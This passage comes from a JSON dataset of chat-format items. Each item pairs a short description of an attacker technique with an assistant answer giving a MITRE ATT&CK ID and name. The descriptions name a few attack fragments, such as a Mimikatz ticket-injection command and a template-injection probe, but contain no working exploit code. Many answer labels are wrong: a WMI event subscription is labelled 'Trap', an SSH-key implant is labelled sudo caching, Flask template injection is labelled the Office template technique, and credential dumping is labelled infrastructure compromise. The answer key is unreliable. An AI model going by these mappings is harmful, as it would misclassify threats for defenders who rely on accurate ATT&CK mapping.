                "content": "Malware runs 'wmic product get name,version' to list all installed software on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs valid AD credentials to enumerate user accounts and extract sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a corporate PKI and exfiltrated the private key of a high‑privilege code‑signing certificate."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators query the victim's directory service to locate trust relationships that could be leveraged for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors triggered an automated rollback of a cloud server to a previous snapshot, wiping evidence of their activity."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages container orchestration tools to launch a hidden container that establishes persistence."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware droppers embed a malicious script inside a shortcut and set the icon to a common system image to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker updates the domain's Group Policy to enforce a new scheduled task that runs a malicious script on all domain computers."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 extracts Outlook email passwords stored in Windows Credential Manager to gain email access."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses `runc exec` to execute a command in a paused container, gaining code execution."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors revert the system's OS image to a prior release, enabling them to leverage known vulnerabilities that were fixed in newer updates."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated group exfiltrates source code and configuration files by creating a fork of the victim's repository and pulling the data into it."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers gain access to a cloud service provider’s CI/CD pipeline, modifying container images to include a hidden persistence mechanism."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes its executable path to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the \"Encrypted\" attribute on its command‑and‑control binaries to hide them from standard file integrity monitoring."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using AppleScript, the adversary enumerates the user's home directory and exfiltrates documents via an encoded SMTP email."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider installs a network tap on the backbone fiber line to capture all inter‑office communications for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers leveraged compromised IBM Cloud API credentials to provision a new virtual server for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit DDE to bypass application whitelisting by embedding DDE payloads in Office documents that invoke system utilities."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed a PowerShell script that invoked the DirectShow API to capture video from the default camera and encoded it for covert exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the Okta API to list all groups and associated application assignments, identifying groups with admin-level access."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries edit the tool's code to eliminate known indicators, such as unique strings, before executing it on the target."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits Windows DLL search order by placing a malicious DLL in the same directory as the target binary, leading the program to load the malicious code first."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary acquires a publicly released exploit for a cross‑site scripting flaw in a web application to enhance their phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom script to copy /etc/passwd and /etc/shadow files to a remote server for offline cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits an application bug to cause resource exhaustion, leading to a crash of the target system."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential-stealing trojan uses screen scraping combined with GUI input capture to record usernames and passwords entered into login dialogs."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware registers a WMI event subscription to launch a PowerShell script whenever a new process is created."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates the domain's security policy to allow LM hash storage."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a misconfigured certificate enrollment service to obtain unauthorized code signing certificates."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ code obfuscation techniques to hide the true purpose of their scripts."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant performs a service discovery scan to find services that can be hijacked for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drive‑by compromise via malicious Flash content on a compromised gaming website."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group creates a DCOM object on a victim's computer to retrieve system information remotely."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat software utilizes the Windows Credential Store API to enumerate and extract stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Mimikatz's \"kerberos::ptt\" command, the attacker injects a custom TGT derived from the KRBTGT hash to gain admin-level access."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploited a public-facing Outlook Web Access portal with a known CVE to bypass authentication and directly access victim mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider account was used to pull confidential spreadsheets from an HR SharePoint library."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware variant uses a public key to encrypt its beacon messages, making them unreadable without the private key."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script changes the in‑memory configuration of a web server, redirecting traffic to a phishing site."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a staged approach where a benign-looking document loads a script that fetches a more malicious binary from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries search local system directories for files containing plaintext passwords, such as .env, config.ini, or .ssh/authorized_keys."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary printed out encrypted files and mailed the documents to a remote drop box, bypassing network detection."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates installed browsers and their version numbers on the victim's machine to tailor phishing payloads."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary aggregates stolen files into a staging location on the compromised endpoint for later transmission."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query Linux syslog files for records of executed commands and authentication attempts."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script modifies the in‑memory configuration of a cloud agent, causing it to report falsified metrics."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors register a fresh Azure AD account using compromised credentials to gain access to cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses a remote Apple Remote Desktop session to execute commands that dump the victim’s Keychain items."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware probes the system's device manager via SetupDiEnumDeviceInfo to list drivers."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group used credential dumping tools on a domain controller to move laterally and control additional servers."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group sends data over an unsecured WebSocket connection to a remote server, bypassing standard C2."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a packer that pads the final executable with random data, making it harder for analysts to identify the actual malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary obtains a stolen domain user credential and logs into the target Windows server using RDP."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a ransomware variant that, after encryption, also executed a data wiping routine to destroy the victim's files."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a suspended process and uses WriteProcessMemory to inject a malicious portable executable payload before resuming the thread."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker adds a malicious certificate to the Trusted Root Certification Authorities store to bypass code integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages the network boot sequence, forcing the target machine to download a tampered kernel via TFTP, which runs with firmware-level privileges."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries install a malicious Security Support Provider DLL to load during system boot."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker changes the domain's account lockout policy to increase the number of allowed failed login attempts."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise of a software supply chain occurred when attackers gained privileged access to the build server of a critical infrastructure vendor and added a backdoor to the firmware image."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom script, the threat actor extracts LSA secret values from the HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA key."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducts a reflection‑amplification attack by sending small UDP packets to open NTP servers with the victim's IP, causing the servers to send back amplified traffic."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs Group Policy Preferences to deploy a new local user across multiple hosts."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create malicious payloads in cloud regions that are not officially supported by the provider to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages known CVE exploits to build a repository of tools for future use."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Right-to-Left Override, the adversary creates a directory name that appears normal in file explorer but actually contains hidden malicious files when accessed programmatically."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the Kubernetes deployment manifest to include a container that runs a cryptominer once deployed."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deploy a malicious SSH key to gain unauthorized access to Linux servers across the network."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor delivers a compressed HTML document that contains Base64-encoded malicious code, which is decoded and run by the victim's web browser."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised insider creates a scheduled stored procedure that periodically contacts a C2 server to retrieve commands."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the central command server cannot be contacted, the agent uses a fallback channel via a public cloud storage bucket to retrieve payloads."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a tunnel between the victim's internal network and an external network to move laterally across network boundaries."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the system’s cryptographic policy to “legacy” mode, causing all new TLS connections to use RC4 with 40‑bit keys."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a Misconfigured RPC service, the attacker sends forged requests that appear to come from the victim, leading to amplified response traffic directed at the victim."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting \"{{ config }}\" into a Flask endpoint that renders a template with user data, the adversary exploits server-side template injection to read environment variables."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
